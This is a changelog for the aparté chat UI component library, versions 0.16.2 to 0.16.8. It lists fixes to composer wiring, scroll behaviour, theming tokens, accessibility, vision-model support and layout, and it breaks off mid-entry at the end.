All versions since 0.16.2
0.16.2
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
705224b: Moving a chat in the DOM (into an
<aparte-split>pane, an app shell, any reparenting) no longer disconnects the composer’s wiring: the editor kept the draft in the DOM butvaluenever heard of it, the send button stayed disabled with text visibly in the box, and every composer button had lost its click.Every composer child bound its listeners inside
_render(), behind the “DOM already there” early return, whiledisconnectedCallbackremoved them — so the first reconnect left them deaf. Binding is the connect’s job now, in all five (input,send,cancel,action,add-attachment);_renderonly builds. The vanilla example’s?layout=splitand?layout=shellvariants moved the chat exactly this way, so the bug was live on both — nothing sent a message there, which is why nothing saw it.@aparte/core -
9df343c:
overlay-composeron<aparte-chat>(andoverlayComposeron all four wrappers): the transcript’s scroll surface spans the whole column and the composer floats over it, so the scrollbar runs edge to edge instead of stopping at the composer’s top — the full-page anatomy the Layout guide sold without this half. Opt-in, never the default: a chat embedded in a small box should not have its composer eating the transcript.The viewport leaves the flow (absolute over the shell); elicitation, an above-composer row and the composer keep flowing, bottom-anchored, painted over it. The viewport measures that stack and publishes
--aparte-bottom-inset; content, the spacer and the scroll button clear it — and its readers are unconditional (0px unset), so a host that overlays a composer of its own can write the variable by hand without the attribute. When the composer grows under a reader pinned at the bottom, the inset is re-measured and the reader re-anchored in the same observer pass — the view-jump every hand-rolled overlay hits.The attribute is read when the viewport wires its observers: set it in the initial markup. Angular binds it on its inner
.aparte-chat-container(there the host is theaparte-chatelement and the viewport is the inner div’s child) — use theoverlayComposerinput.@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
39b777f: The scroll-to-bottom button floats 16px above the transcript’s bottom edge in framework-managed mode (React, Vue, Svelte, Angular wrappers), at every scroll position. It used to sit the whole
padding + spacerhigher — up to a few hundred pixels into the messages.Two causes, one per symptom. A
position: stickychild is clamped to its parent’s content box, and the bottom spacer was carried aspadding-bottomon the scrolling host — territory the button could never enter — so it hungpadding + spacerabove the edge wherever the reader was. The clearance now lives in an::afterflex item instead: still nothing in the DOM, so the framework’s reconciliation sees exactly what it saw before. And a bottom-sticky element sits at its flow position whenever that is above the sticky line, so a button flowing before a 230px spacer drifted upward as the reader neared the bottom —order: 1puts its flow position after the spacer, and the sticky line always wins.If you worked around this with your own
padding-bottom: 0+::afteroverride on the viewport, you can remove it — it is now a no-op with the same values.Two side effects of the rework, caught on screen and now asserted in the smoke suite: an empty transcript no longer grows a scrollbar (the
::afterpaid the column’s gap the padding never did, and the hidden button’s slide overhung the content end), and the hidden button now fades instead of sliding in framework-managed mode — its flow position is the very end of the content, so the 8px slide was pure scrollable overflow. Core mode keeps the slide.Measured in the browser (spacer 0/60/130/230px): the button holds 16px at every distance from the bottom; before, it floated 48/108/178/278px. A new e2e spec (
scroll-button.spec.ts) asserts the rendered geometry in both transcript modes on Chromium and WebKit — the first assertion in the repo that locates this button rather than driving it.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.
0.16.3
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
- 9406f16: In core mode with
overlay-composer, the transcript’s scroll surface no longer overruns its host by the composer inset..aparte-viewport-containerisheight: 100%and carries the overlay clearance aspadding-bottom; withoutbox-sizing: border-boxthe padding was added to the height, so the surface stood the whole inset taller than the viewport, clipped — that much scrollbar and content cut off at the bottom. Hosts with a global* { box-sizing: border-box }reset (every example app in this repo) never saw it; a page without one did. The box declares its own sizing now.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.4
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
@aparte/engine@0.16.4
@aparte/core -
e20d80a: Register a model with
task: 'image-text-to-text'to run a vision model in the browser, or pointrunnerat a module of your own; a text model now says when it drops an image, and Stop honoursctx.signal.The worker forced
pipeline('text-generation')on every model: thetaskthe main thread posted was never read, the public type made registering a vision model a TypeScript error, and image parts were flattened away on the main thread with no warning — a photo attached to a text model produced an answer that pretended to have seen it.What changed, for the caller:
TransformersModelConfig.taskis optional and accepts'text-generation'(the default, unchanged) or'image-text-to-text'(AutoProcessor+AutoModelForImageTextToText— SmolVLM, Qwen2-VL, LFM2-VL, Gemma 3…). Transformers.js 4.x has no pipeline for that task, so the runner goes through the model classes the way the model cards do. Image parts reach the model as the composer attaches them; a turn without a picture goes through the tokenizer alone (the processor wants images — “hello” as a first message crashed a real SmolVLM until it did).TransformersModelConfig.runnernames an ES module of your own exportingcreateRunner(ctx); it wins overtask. The worker imports it (URL resolved against the page) and hands it the same Transformers.js instance the built-ins use.emitspeaks the stream vocabulary (text,thinking,tool_use,done,error),signalfires on Stop,ctx.progress/ctx.warnreach the page,dispose()runs on a model switch. New exports:TransformersRunner,RunnerContext,RunnerGenerateInput,RunnerProgress,RunnerModule,CreateRunner,BuiltInRunner,TransformersModule, andrunnerCommand(modelId, name, payload)to reach a runner’scommand()from the page, queued behind the generates in flight.- The text runner warns once when it drops image parts (naming the vision task), as it already did for tool turns.
chat()readsctx.signal: a user’s Stop now interrupts the model, not just the local read (the contract said bridges MUST; this one read it nowhere). Abort and stream-cancel are one stop; a signal already aborted never posts the generate.
Each runner is its own chunk under
dist/assets/, loaded when a model asks for it (a runner imports core for types only — the first build that took a helper from it shipped all of core in a 426 kB chunk; it is 2 kB). Measured on Chromium + WebGPU (AMD Radeon 8060S), page and package on two origins, Transformers.js 4.2.0 from jsDelivr:HuggingFaceTB/SmolVLM-256M-Instruct(fp16/q4/q4) loads in 7 s download included, answers “Rectangle, circle.” to a red square with a blue circle in 3.7 s cold, and Stop ends the stream within two tokens;SmolLM2-135M-Instructstill streams and stops; a 20-line custom runner imported cross-origin drives the transcript and answers arunnerCommand.@aparte/provider-transformers
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.5
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
8593b60: Five fixes to how the chat feels: the composer no longer comes up ~200 px tall on a slow layout, a send glides to the top instead of jumping, an older message’s action bar sits under the message (in the existing gap, no reserved row), a selected button-group segment reads as selected at rest, and
<aparte-split single>shows one pane on demand.- Composer (#55). The editor sometimes rendered ~200 px tall while empty, in any host. The auto-grow read
scrollHeightat three fixed instants and then only on input; when one fell before the box had its width, the placeholder — a::beforethat counts inscrollHeight— wrapped over a dozen lines and the number stuck. AResizeObserverre-measures on width changes, and the placeholder never wraps (white-space: nowrap, clipped like a native input’s). - Send glide (#57). The new user message is meant to glide to the top; it jumped. Measured: five instant
scrollTopwrites in the send’s own frame (the spacer recalculation pins synchronously, the mutation observer queues another), so the smooth scroll found the view already teleported — and in framework-managed mode the observer’s instant pin ran before the wrapper’srequestSmoothScroll()was honoured (630 px in one frame on React). The glide now begins before the spacer recalculation; while it is in flight, every bottom-pin re-targets it with a second smoothscrollTo(scrollendcloses the window, 450 ms budget otherwise); a user bubble the observer sees arrive is a send whoever rendered it. Streaming is instant again after the glide. Reduced motion keeps the instant path. Three engines then refined it: WebKit firesscrollendwhen a smooth scroll is re-targeted, so only a scrollend that rested at the bottom closes the window; a batch that re-adds several bubbles (a branch swap) is a rebuild, not a send, and pins as it always did; and the reader’s hand ends the glide — wheel and touch stop the animation where it is, a scroll key only closes the window, because the engine animates key scrolls itself. A glide that never arrives is settled by its own timer. - Action bar placement (#56). An older message’s bar floated top-right over the header row, because the bubble is a paint-containment boundary and the inter-bubble gap was a flex
gapoutside every box. The gap is now each bubble’s ownpadding-block-end(same token, same distance), inside its box, and the bar hangs under the text overmessage padding-block + gap— 16 + 12 = 28 px at the default density for a 24 px bar. The last reply keeps its always-visible bar in the flow. Two theme tokens appear:--aparte-message-padding-blockand--aparte-message-padding-inline;--aparte-message-paddingis now derived from them, so a theme that overrode the shorthand should override the two parts instead. - Button group (#53).
aria-pressed="true",aria-selected="true"oraria-currenton a segment of.aparte-btn-grouppaints it solid in the group’s intent (neutral for--surface), at rest, and hover leaves it alone; a toggled--outline/--softbutton outside a group is washed at 30 %, deeper than its 22 % hover. Before, the toggled wash was--aparte-btn-bg-toggled(surface-2), invisible on dark, and hover read as the state. - Split (#54).
single(boolean) shows one pane — the onepanenames — whatever the width: the seam and the other pane are gone, as under the breakpoint, and the seam loses its tab stop.collapsedstill folds the primary pane to--aparte-split-minand keeps the seam; the CSS route.aparte-split--only-start/--only-endis unchanged.
Measured with two new browser specs (the send’s per-frame
scrollTopcurve and every write to it, on vanilla, React and WebKit; the older reply’s bar geometry, hovered, on vanilla and React) plus 16 unit tests; the scroll-button, overlay, bubble-actions and framework-smoke geometry specs stay green. Thecheck:derived-varsceiling on responsive sizes moves 8 → 9 for the split padding token.@aparte/core - Composer (#55). The editor sometimes rendered ~200 px tall while empty, in any host. The auto-grow read
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.6
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
cc303dc: An elicitation’s question no longer runs under the corner “Skip” button (#50).
The button is absolutely positioned, so nothing in the flow reserved its width: any message long enough to reach the panel’s edge printed its first line underneath it — measured at 43px of text under “Skip” in a 460px panel.
.aparte-elic-messagenow keeps the same room the tab rail already reserves, from the same token (--aparte-elic-dismiss-room), so the two can never disagree — and a locale whose word is wider than “Skip” bumps one value instead of patching two rules.@aparte/core -
e8043ba: npm keywords carry the words people actually type — nothing in the code changes.
Core goes from 5 keywords to 19 (chat-ui, ai-chat, chatbot, chat-component, custom-elements, framework-agnostic, the four framework names, agent, tool-calling, human-in-the-loop, openai); each wrapper gains chat-ui and ai-chat. Measured against the category’s incumbents: none of ours were the terms a search starts from.
@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
1f7365f: Presence setters treat
''as ON, so Svelte templates actually set the attribute (#62).The attribute types document
''as the spelling for a presence attribute, because React and Vue stringify what they set on a custom element. Svelte 5 takes the property path instead whenever the element has an accessor — andsingle={''}on<aparte-split>(likewisecollapsed,disabled, and the sidebar’scollapsed) handed the setter an empty string thattoggleAttributeread as falsy: the attribute was removed, the opposite of what the template asked for, silently. On a presence property an empty string now means ON, exactly as an empty attribute does;false,nullandundefinedstill mean OFF.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.
0.16.7
Every @aparte/* package ships at this version (they are released in lockstep).
Every published README opens on its category line, and core’s quickstart says what the client now does on its own (echo included).
Patch Changes
-
42a9d09:
AparteClientechoes the user’s message by default — and echo ownership is a handshake, so nothing doubles.The optimistic user bubble used to be every raw-core host’s job: everyone wrote the same
aparte-sendhandler, and whoever forgot shipped a chat where the person cannot see what they typed — it compiles, it streams, and nothing errors. Three consumers hit exactly that.Whoever appends the user message marks the event (
detail.echoed), and whoever sees the mark yields: theConversationController(capture phase, so always first) marks for the wrappers’ pairing with a raw client, and the client marks after its own echo, so even two clients on one page render the message once. Attached files ride the echoed bubble as attachments; the wire cannot double — the history builder already excludes trailing unanswered user messages. A raw-core host that still appends its own bubble should drop that handler, or passechoUserMessage: falseto keep ownership.@aparte/core -
9df0877: Every package names its documentation page (
homepage) — nothing in the code changes.npm shows the link first on each package page; none of the twenty had one. Each now points at its own docs page, verified live before it was written. every package
-
b5891b9: The chat follows the system color scheme by default;
data-aparte-themenow forces either way —"light"is new.Dark existed only behind
data-aparte-theme="dark": on a dark OS, an un-attributed chat rendered light on the host’s dark page — unreadable, with no error. Measured by a consumer building from the docs alone. With no attribute,prefers-color-schemenow decides;"dark"still forces dark;"light"(new) forces light, which is the veto a light-always page needs and the escape a themed island inside an opposite page uses. If your app already flips the attribute from its own toggle, nothing changes — the attribute beats the OS in both directions. The dark palette exists twice in the sheet (a media query and an attribute selector cannot share a block);check:derived-varsnow holds the copies byte-identical, and holds the light veto to the:rootliterals, so the duplicates cannot drift.@aparte/core -
44a3611: The
{ text }docs no longer say core parses markdown — a markdown plugin renders it.Without
@aparte/plugin-markedor@aparte/plugin-streaming-markdown, scripted text streams as plain text,**stars**included. The docs said “parsed by core”, which is not what ships: core deliberately has no markdown renderer. Wording only.@aparte/provider-scenario -
8f9d56f: A
scenarios-mode tool call without itsafterroute warns at creation.whenplus a turn containing a tool is perfectly plausible to write — and the default match then routes the tool result back through the samewhen: identical rounds until the client’smaxTurnserror. The hole is visible at creation, so it is said at creation, naming each unrouted tool. Orderedturnsmode and a custommatchare exempt.@aparte/provider-scenario
0.16.8
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
50085e8: Five calibration decisions from the image audit: the bubble’s corner is the theme’s
--aparte-radius-bubble(12px, it was a 14px literal); a control’s edge has its own token,--aparte-border-control, read by the field, the field group, the choice controls and the select trigger; the icon scale is in rem on the type factor (--aparte-icon-sizedefaults to 1rem, was 14px; sm 0.75rem, lg 1.125rem, xl 1.25rem); the elicitation rows’ radius is the md step; and a disabled button, field or select is drawn — a neutral ground and the muted ink — instead of faded with opacity. The composer’s gated state no longer fades the whole composer.--aparte-borderdid two jobs, separating regions and bounding controls, and six previews showed a control with no visible edge; the new token is derived from the ink and the ground so both schemes follow, and its mix is a first setting. The icon scale was the one scale in the theme pinned in px while every type size followed--aparte-font-scale, so a glyph beside text shrank optically when the reader enlarged the text. Opacity on a disabled control faded the glyph with its ground and read at 2:1 on the send button; “inactive” and “disappearing” are not the same message. Menu items, option rows and a tag’s ✕ keep the opacity for now.@aparte/core -
31ccbc2:
center-emptycentres the welcome group itself: while the chat is empty, the rows’ wrapper carries no block padding, so the empty viewport takes no room in the centred stack.Measured on the built demo at 768: the chat’s centre at 240, the visible group’s at 256. The empty viewport still stood 32px tall — the wrapper’s block padding with no row in it — and
justify-content: centercentred three items of which the first was invisible. The padding goes, not the box: capping the viewport at 0 would leave a 32px scroll surface inside a 0px box, which the browser smoke test every example runs (“an empty transcript must not overflow”) refuses. Framework mode is untouched — there the viewport is the scroll surface and may hold the wrapper’s own empty-state content.@aparte/core -
7e5910a:
<aparte-chat submit-on-enter="false">now reaches the composer it composes, and the menu, popover, dialog and tooltip each get a radius knob (--aparte-radius-menu,--aparte-radius-popover,--aparte-radius-dialog,--aparte-radius-tooltip).The shell forwarded
placeholderanddisabledonly, so the one switch every wrapper exposes assubmitOnEnterhad no vanilla spelling short of reaching inside for the composer. It is forwarded by value (the bare attribute keeps the default, Enter sends) and observed, so a toggle after mount follows. The four floating surfaces read a step of the radius scale directly, the only family without a knob of its own: a theme that wanted square menus and round bubbles had to move the scale step and every other reader with it. Rendering is unchanged; the four knobs default to the steps the sheets read before.@aparte/core -
316eaa7: The action bar’s first glyph starts on the text column; every inline recipe of the kit sits on the midline (
vertical-align: middle); the avatar’s initials, corner and group overlap scale with its size —--aparte-avatar-initials-ratio,--aparte-avatar-radius-ratioand--aparte-avatar-overlap-ratioreplace the absolute--aparte-avatar-font-size,--aparte-avatar-radius,--aparte-radius-avatarand--aparte-avatar-group-overlap— and the assistant avatar’s text is the text colour.The most reproducible defect of the audit: in 14 previews the first action button’s ink began 5 to 8px right of the paragraph above it, because a glyph is centred in a 24px box; the bar takes that slack back. Inline boxes fall on the baseline unless they say otherwise, and none did: the icon button rode 3px above its neighbours, three spinners shared a bottom edge instead of a centre. The 40px avatar drew the same 11px initials as the 32px one, its corner drifted from squircle to square up the ramp, and a 6px overlap was a fifth of a small avatar and a tenth of a large one — the fractions are computed on the element so a size modifier moves them.
@aparte/core -
94c44a7: The documented
@csspropdefaults now match the stylesheets (61 of 172 were stale), and the reflected state attributes the shipped CSS keys off —data-emptyon the chat,data-panel-active/data-panel-mode/data-model-gatedon the composer,data-busyon the viewport — appear in each element’s attribute table like their siblings already did.The default in a JSDoc tag is a hand copy of a value that lives in a sheet, and the two had drifted: radii off by half, paddings in pixels where the sheet reads the spacing scale, the attachment tile documented at 40px on one page and 56px on another when the theme says 72px. The generated component pages print that default, so a reader tuning a knob started from a value the sheet never had. Every default is now the stylesheet’s value character for character, and a test keeps it so (the source of truth is a
:rootdeclaration in theme.css, else a scoped declaration, else the fallback of thevar()that reads the knob). Also on the chat page, the hand-composed markup example no longer ends up inside the--aparte-chat-bottom-gaptable cell, and the sidebar’sdata-draweris documented againstbreakpointrather than a hard-coded 48rem.@aparte/core -
e4a3e86: Every button core renders is
type="button", so a chat placed inside a host<form>no longer submits it when a reader copies a code block, presses a branch arrow or clicks an action; the code block’s copy button carries anaria-label; the reasoning panel is a focusable, named region.Thirteen emitted buttons had no type (the bubble’s action bar, branch arrows and edit controls, the composer’s send and stop buttons, the code block’s copy button) and one custom action button was created without one — and a button with no type is a submit button. The copy button was also the one icon button in core named by
titlealone, which a screen reader does not read; its accessible name now follows the “copied” confirmation too. The reasoning panel is a scroll container (max-height+overflow-y: auto) and had no tab stop, so a keyboard reader on Safari could not scroll it; it isrole="region"withtabindex="0", named after its label. A source test now refuses a new untyped button.@aparte/core -
b20565d: The error segment wears the alert recipe’s parts (
aparte-alert__icon,__body,__title,__message; its details block isaparte-segment-error__details), a card’s body folds its content’s outer margins into its padding, and the overlaid composer casts a shadow (--aparte-composer-overlay-shadow).Also:
hiddennow hides any element wearing anaparte-class — a recipe’s owndisplayused to outrank the browser’s[hidden], so a hidden button stayed painted (the copy button of a tool-only turn, on the built preview).The error renderer put the recipe’s class on its root and redrew every part under classes of its own —
aparte-error-icon-wrapper,-content,-title,-message,-detailsare gone, and so are the tokens only they read (--aparte-error-icon-size, a 20px literal among derived values, and--aparte-error-title). The card body let a paragraph’s margins stack on its padding, so the sheet’s own example measured a body twice the height of its header. Underoverlay-composerthe composer floated over the transcript with a z-index and the transcript’s own ground: a thing that floats has to be seen floating.@aparte/core -
2e8f3ed: The examples the kit pages render are specimens now: the accordion shows three items, the danger alert carries its icon, the skeleton keeps the family’s own block height, the app-shell shows a populated sidebar, header and transcript, the split’s second pane is a styled document with a colour scheme, the scroll-rail and elicitation examples carry a complete composer, and every chat example is sized in rem. The tool row’s approval label reads “Waiting” (was “waiting for you”) and wears a pause glyph — the one capitalised word plus a glyph its sibling states use;
pausejoins the built-in glyphs.Measured on the built previews: 34 of the 59 kit previews render a header example or an
@exampleverbatim, so those strings are the showcase, not documentation — and they had been written as excerpts. One accordion item let:last-childremove the only rule the family draws; the--dangeralert without an__iconbeside an--infowith one zig-zagged the left column by 23px;block-size: 64pxinline contradicted the skeleton’s5remtoken;height: 320pxsheared the chat’s first turn at 375. A test now holds the three rules for every sheet and element: enough instances for the relation rules to exist, every documented part present, no hard pixel value against a token of the family.@aparte/core -
a62abf9: Field groups and the colour field get their corners back; the field family’s knobs now live on
:root.--aparte-field-radiuswas declared on.aparte-fielditself and read by.aparte-field-group(the field’s parent) and.aparte-color(a sibling recipe). A custom property only inherits downwards, so both computedborder-radius: 0— every field group in the library rendered square (the sidebar’s search, ahttps://prefix group). Measured 0px → 9px. Thirteen field knobs (paddings, radius, textarea height, checkbox/radio/switch/range sizes) move totheme.cssbeside the button’s, where the theming guide sends you and where every other family’s knobs already are. Values are unchanged; the elicitation panel’s own overrides still win inside it.@aparte/core -
28b9ead: The branch picker’s arrows are glyphs from the icon provider (so
setIconProvider({ prevBranch, nextBranch })now reaches them),menuandalertTrianglejoin the built-in glyph set,downloadandstopare redrawn on the 24-unit grid the rest of the set uses, and a menu that holds a checkable item reserves the check gutter on every item.The bubble wrote
‹and›as text — hairline characters beside 2-unit SVG strokes in the same row — while the two glyphs already existed and were registered as provider keys nothing read. The app header’s documented toggle drew☰as text becausemenulived only in the extended set behind@aparte/core/icons, and the alert recipe’s documented<aparte-icon name="alertTriangle">drew a 16px hole for the same reason; core’s documented markup is core’s drawing, so both move in (the extended set no longer exports them). Two of the 28 glyphs were on a 16-unit grid and painted their stroke 50 % heavier than their siblings. The menu’s check gutter was reserved per checkable item, so a plain item beside a checkable one started 16px further left; a panel with any checkable item now reserves it on all of them.@aparte/core -
1c5fc64: The two spinners share one stroke, in screen pixels; a determinate ring has a visible track; every pulsing dot pulses in opacity alone, above a named floor (
--aparte-pulse-floor); the context gauge’s ring is as heavy as its bar. And the shapes that have to be seen draw themselves:--aparte-trackis the ground of a gauge or a skeleton (derived relative to the page), the user bubble is tinted like every other mark, the scrim has a dark value, the scroll rail is as wide as its widest tick and its ticks rest in the control-edge colour.--aparte-spinner-strokeand--aparte-context-ring-strokeare gone (the rings read--aparte-spinner-thicknessand--aparte-progress-height).The SVG spinner stroked at 2.5 viewBox units — 1.67px in a 16px box, antialiased, 50 % off its CSS sibling — and its track sat at 15 % of the ink, so a determinate 62 % was the percentage of a circle nobody could see;
vector-effect: non-scaling-strokemakes the SVG’s weight the CSS ring’s whatever the size. The shared pulse moved in scale as well as opacity, so a row of waiting dots changed width in a loop, and its 0.3 floor left the status dot at 1.55:1 for half of every cycle. A skeleton of one line no longer renders at 60 % of its width. The values on the new tokens are first settings; the names are the fix.@aparte/core -
d79813f: The spinner, the skeleton, the indeterminate progress bar and the status dot stop under
prefers-reduced-motion: reduceinstead of flickering.The duration tokens were already reset to 0.01ms under that media query, but a 0.01ms cycle with
infiniteleft in place is not stillness: the recipe keeps repainting at a random phase every frame. The descendant sweep inresponsive.cssonly reaches elements inside aparté’s own custom elements, so a recipe used in a consumer’s own markup got neither. Each looping recipe now stops itself withanimation: none, the way the spinning icon already did. The skeleton also drops its shine (a stopped gradient sat as a pale band) and the indeterminate bar fills the track (a stopped segment sitting at one spot read as a value). A stylesheet test now asks the same of every looping animation in core.@aparte/core -
7774e65: The composer’s box now starts where the transcript’s rows start, at every width: the viewport measures its own inset (padding plus the scrollbar gutter it reserves) and publishes it on the chat host as
--aparte-transcript-inset; the composer pads by it, with the old--aparte-viewport-paddingas the fallback when no viewport sits beside it.Before, the two were independent stacks. The transcript’s rows sat inside a padding plus the gutter the scroller reserves on both edges, the composer inside a flat padding — 10px apart at 768, the gutter’s half apart at 1280 — and the container query that tightens the transcript under 520px could not reach the composer, which is a container of its own. The composer cannot know the gutter and a query cannot cross it, so the element that knows now says it. The property is written on the HOST, not on the viewport: the composer is a sibling, and a custom property only travels down.
@aparte/core -
fee67b7: One focus ring for every control: a 2px outline in
--aparte-border-focus, one spacing step OUTSIDE the box (--aparte-focus-outline-offsetisvar(--aparte-space-1), it was −2px). The soft box-shadow ring (--aparte-focus-ring), the field’s error ring token, the button’s private offset and the select’s--aparte-select-ring/--aparte-select-border-focusknobs are gone; an invalid field’s ring takes the error colour, a field group draws the ring for the field inside it, and the select’s search field is the one documented exception (its ring is inset, an outset one would be clipped by the scrolling panel).The kit drew keyboard focus two ways — seventeen recipes with a solid outline, five with a soft wash at 30 % of the accent that measured 1.39:1 against the page, an indicator that was absent rather than weak — and four of the outlines took the control’s intent colour rather than the focus colour. Inside the box, the ring sat 2px from a bordered row’s edge as a second concentric line, and the next row painted over it. The forced-colors block no longer restates outlines that now exist.
@aparte/core -
735ca53: Every control has a height from one scale — sm 24 · md 32 · lg 36 · xl 40 — and control text is the 14px step: a text button is as tall as an icon button (
min-block-size), the field rests at 36 (--aparte-field-size;--sm/--lgone step either side), a button inside a field group takes the field’s height, the select trigger is a field, and the composer’s controls are 36 at rest and the touch target under a coarse pointer (--aparte-composer-control-size, now a declared knob).Measured across the previews, 18 of 59 showed two controls side by side at different heights, and the number that kept coming back was 23px: the text button, which had no height at all, beside 24, 29, 32, 36 and 44px neighbours. The scale had three steps that only
--iconand--circleread, and a 36px family (send, the input’s action button, the scroll button) that lived off it as literals — it is the named lg step now, and the old 40px step isxl(.aparte-btn--xl;.aparte-btn--lgis 36px, which is what the scroll button already measured). Control text moves from 13px to 14px on the button and the field;--smand--lgbecome three distinct steps again. The desktop composer was a 62px bar around 15px of text because its control size defaulted to the touch target everywhere; it is 36 at rest and 44 under(pointer: coarse), which is what that block was for.@aparte/core -
212aebd: At a phone’s width the kit folds: the app shell recipe becomes one column under 48rem (the sidebar element already left the grid as a drawer, the grid kept its column anyway), the split’s minimum is
min(20rem, 100%)so a pane can never ask for more than the viewport has, and a modal dialog on a phone is a bottom sheet as tall as its content, capped at the screen and clear of the safe areas — it used to stretch a label, a field and two buttons over a 100dvh sheet glued to the physical edges.Measured on the 375px captures: the shell gave 259 of its 303px to the sidebar and left the chat a 43px band with the send button cut in half; a 20rem floor on a 375px screen annihilated the end pane to 0px; 586px of empty sheet under a three-control form.
@aparte/core -
28b9ead: The spinner, the menu, the popover, the tooltip and
<aparte-chat>arebox-sizing: border-box, so their tokens and an author’sheightare the box they paint; a tooltip is as wide as its label.Core ships no global reset on purpose, and these recipes set a size and a padding or border in the same rule, so they painted larger than their token under the browser’s default: the spinner 16/20/28 for tokens of 12/16/24, the popover 342px for a cap of 320,
<aparte-chat style="height: 320px">336px with a split’s seam hanging 16px below both panels — and the token’s value only on a host page with a border-box reset of its own. The tooltip declared amax-widthand no width, so as a positioned chip it shrank to its widest word: “Copy to clipboard” broke into two lines at every width. It iswidth: max-contentnow, with the same cap.@aparte/core -
c9529d2: A tool call’s state sits beside the tool’s name, the reasoning block’s chevron sits beside its label, the context gauge’s bar has a measure (16rem), and the starter suggestions take the composer’s column.
An unbounded
margin-inline-start: autopushed the two ends of one line 554 to 1180px apart on a wide host: the state 596px from the tool name, “Reasoning” 692px from its chevron, a 1046×4px gauge, chips 188px off the composer once the host passed its cap. What belongs to a label sits beside it; what belongs to a column takes its measure. The accordion recipe keeps its chevron at the end — that is what an accordion is.@aparte/core -
d78b150:
<aparte-select>now honoursplaceholderanddisabledwritten after mount, its presence setters (and<aparte-option>’s,<aparte-optgroup>’s) accept the empty string as ON, the unreadgroupedattribute is gone, and a loading group saysloadingfrom the locale instead of “Fetching models…”.Both attributes were observed and neither had a branch in the change callback, so a placeholder rewritten by a locale switch left the visible label and the combobox’s
aria-labelin the old language, and a select disabled after mount kept a trigger in the tab order, announced as operable. The trigger now takesaria-disabled="true"andtabindex="-1"while disabled (an open dropdown closes), and the label and botharia-labels follow the placeholder. Five setters (open,selected,disabled,collapsed,loading) still read''as false, so a Svelte 5 template that set them removed the attribute; they use the same spelling as the split and the sidebar now, and one test enumerates all nine presence setters in core.groupedwas observed and read by nothing (groups render from<aparte-optgroup>children alone); it leaves the attribute list and the docs. New locale key:loading(default “Loading…”).@aparte/core -
9337dd2: Five rendering bugs found by looking at every preview: the reasoning block’s chevron turns again when it opens; an
<aparte-icon>inside.aparte-btntakes the button’s icon size; code blocks are set in the code typeface at a code size; the message row’s padding follows the narrow container again; and a turn with nothing to copy shows no copy button. Attachment tiles now use the thumbnail recipe’s part names —aparte-thumbnail__imageandaparte-thumbnail__labelreplaceaparte-thumb__imgandaparte-thumb__ext— and the composite--aparte-message-paddingtoken is gone (read--aparte-message-padding-blockand--aparte-message-padding-inline).Each was a form defect, not a palette one. The thinking renderer put its glyph straight into the
<summary>, so the accordion recipe’s rotation rule matched nothing — and the recipe’s own documented markup, a bare<aparte-icon>in the header, matched nothing either; both forms are sized and turn now.button.csssized.aparte-btn > svg, and<aparte-icon>renders its svg one level deeper, so the documented markup kept a 14px glyph in a button that asked for 16; the recipe now feeds--aparte-icon-size, the icon’s own knob, which also sizes the accordion chevron. The code block’s<pre>declared nofont-family,font-sizeorline-heightand fell into the browser’s generic monospace at the prose’s size — two theme tokens,--aparte-code-block-font-sizeand--aparte-code-block-line-height, now carry them.--aparte-message-paddingjoined its two parts on:root, where a custom property is substituted, so the container query that reassigned the parts on.aparte-messagenever reached the row; a test now refuses any composite token whose parts are redeclared elsewhere. The copy action was offered unconditionally and copied''on a tool-only turn. The tile parts were drawn twice under two vocabularies, the documented one emitted by nothing; one survives.--aparte-thinking-toggle-size, unread since the chevron became a glyph, is removed.@aparte/core -
7826e07: The sidebar’s four regions (header, search, body, footer) indent by one new token,
